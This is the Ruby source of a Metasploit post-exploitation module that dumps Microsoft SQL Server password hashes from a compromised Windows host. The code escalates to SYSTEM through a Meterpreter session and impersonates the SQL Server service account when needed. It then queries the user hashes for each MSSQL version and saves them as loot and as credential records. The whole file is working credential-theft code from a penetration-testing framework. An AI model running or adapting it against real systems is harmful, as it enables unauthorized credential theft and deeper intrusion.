metasploit-framework/modules/post/windows/gather/credentials/mssql_local_hashdump.rb

184 lines
5.2 KiB
Ruby

##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
require 'rex'
require 'msf/core/auxiliary/report'
require 'msf/core/post/windows/mssql'
class Metasploit3 < Msf::Post
include Msf::Auxiliary::Report
include Msf::Post::Windows::MSSQL
def initialize(info={})
super( update_info( info,
'Name' => 'Windows Gather Local SQL Server Hash Dump',
'Description' => %q{ This module extracts the usernames and password
hashes from an MSSQL server and stores them as loot. It uses the
same technique in mssql_local_auth_bypass.
},
'License' => MSF_LICENSE,
'Author' => [
'Mike Manzotti <mike.manzotti[at]dionach.com>',
'nullbind' # Original technique
],
'Platform' => [ 'win' ],
'SessionTypes' => [ 'meterpreter' ],
'References' =>
[
['URL', 'https://www.dionach.com/blog/easily-grabbing-microsoft-sql-server-password-hashes']
]
))
register_options(
[
OptString.new('INSTANCE', [false, 'Name of target SQL Server instance', nil])
], self.class)
end
def run
# Set instance name (if specified)
instance = datastore['INSTANCE'].to_s
# Display target
print_status("Running module against #{sysinfo['Computer']}")
# Identify available native SQL client
get_sql_client
fail_with(Failure::Unknown, 'Unable to identify a SQL client') unless @sql_client
# Get LocalSystem privileges
system_status = get_system
fail_with(Failure::Unknown, 'Unable to get SYSTEM') unless system_status
begin
service = check_for_sqlserver(instance)
fail_with(Failure::Unknown, 'Unable to identify MSSQL Service') unless service
print_status("Identified service '#{service[:display]}', PID: #{service[:pid]}")
instance_name = service[:display].gsub('SQL Server (','').gsub(')','').lstrip.rstrip
begin
get_sql_hash(instance_name)
rescue RuntimeError
# Attempt to impersonate sql server service account (for sql server 2012)
if impersonate_sql_user(service)
get_sql_hash(instance_name)
end
end
ensure
# return to original priv context
session.sys.config.revert_to_self
end
end
def get_sql_version(instance_name)
vprint_status("Attempting to get version...")
query = mssql_sql_info
get_version_result = run_sql(query, instance_name)
# Parse Data
get_version_array = get_version_result.split("\n")
version_year = get_version_array.first.strip.slice(/\d\d\d\d/)
if version_year
vprint_status("MSSQL version found: #{version_year}")
return version_year
else
vprint_error("MSSQL version not found")
end
end
def get_sql_hash(instance_name)
version_year = get_sql_version(instance_name)
case version_year
when "2000"
hash_type = "mssql"
query = mssql_2k_password_hashes
when "2005", "2008"
hash_type = "mssql05"
query = mssql_2k5_password_hashes
when "2012", "2014"
hash_type = "mssql12"
query = mssql_2k5_password_hashes
else
fail_with(Failure::Unknown, "Unable to determine MSSQL Version")
end
print_status("Attempting to get password hashes...")
get_hash_result = run_sql(query, instance_name)
if get_hash_result.include?('0x')
# Parse Data
hash_array = get_hash_result.split("\r\n").grep(/0x/)
store_hashes(hash_array, hash_type)
else
fail_with(Failure::Unknown, "Unable to retrieve hashes")
end
end
def store_hashes(hash_array, hash_type)
# Save data
loot_hashes = ""
hash_array.each do |row|
user, hash = row.strip.split
service_data = {
address: rhost,
port: rport,
service_name: 'mssql',
protocol: 'tcp',
workspace_id: myworkspace_id
}
# Initialize Metasploit::Credential::Core object
credential_data = {
post_reference_name: refname,
origin_type: :session,
private_type: :nonreplayable_hash,
private_data: hash,
username: user,
session_id: session_db_id,
jtr_format: hash_type,
workspace_id: myworkspace_id
}
credential_data.merge!(service_data)
# Create the Metasploit::Credential::Core object
credential_core = create_credential(credential_data)
# Assemble the options hash for creating the Metasploit::Credential::Login object
login_data = {
core: credential_core,
status: Metasploit::Model::Login::Status::UNTRIED
}
# Merge in the service data and create our Login
login_data.merge!(service_data)
create_credential_login(login_data)
print_line("#{user}:#{hash}")
loot_hashes << "#{user}:#{hash}\n"
end
unless loot_hashes.empty?
# Store MSSQL password hash as loot
loot_path = store_loot('mssql.hash', 'text/plain', session, loot_hashes, 'mssql_hashdump.txt', 'MSSQL Password Hash')
print_good("MSSQL password hash saved in: #{loot_path}")
return true
else
return false
end
end
end